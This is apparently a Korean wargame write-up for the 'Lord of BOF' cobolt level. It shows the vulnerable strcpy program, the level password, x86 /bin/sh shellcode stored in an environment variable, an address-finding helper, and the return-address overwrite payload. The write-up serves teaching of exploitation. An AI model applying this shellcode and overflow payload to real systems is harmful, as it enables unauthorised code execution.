SH1R0_HACKER

2. gremlin -> cobolt 본문

System/The Lord of BOF

2. gremlin -> cobolt

SH1R0_HACKER 2020. 10. 19. 21:13

login : gremlin

passworld : hello bof world


[ cobolt.c ]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

gremlin이랑 별 차이가 없어보인다.

다만 버퍼의 크기가 16byte로 쉘코드(25byte)를 넣을 수 있는 공간이 부족하다.

이럴 땐 환경변수의 메모리주소를 RET에 넣어 환경변수의 내용 (쉘코드) 가 실행되도록 해주자.


[ GDB 분석 ]

buffer와 ret의 거리는 사이트를 통해 구했다 : 20byte


attack 이라는 이름으로 환경변수를 만들었다.

쉘코드는 gremlin에서 푼 코드를 그대로 사용했다.

 

export attack=`python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


환경변수의 주소값을 알아내기 위해 getenv를 사용하여 코드를 작성한다.

 

#include <stdio.h>

int main()
{
	printf("%p\n",getenv("attack"));
}

컴파일하자.

gcc -o export export.c

 

export를 실행하니 환경변수의 주소가 나온다.

0xbffffc8c


페이로드를 작성하자.

 

./cobolt `python -c 'print "\x90"*20+"\x8c\xfc\xff\xbf"'`

 

'System > The Lord of BOF' 카테고리의 다른 글

6. wolfman -> darkelf  (0) 2020.10.24
5. orc -> wolfman  (0) 2020.10.22
4. goblin -> orc  (0) 2020.10.22
3. cobolt -> goblin  (0) 2020.10.21
1. gate -> gremlin  (0) 2020.10.18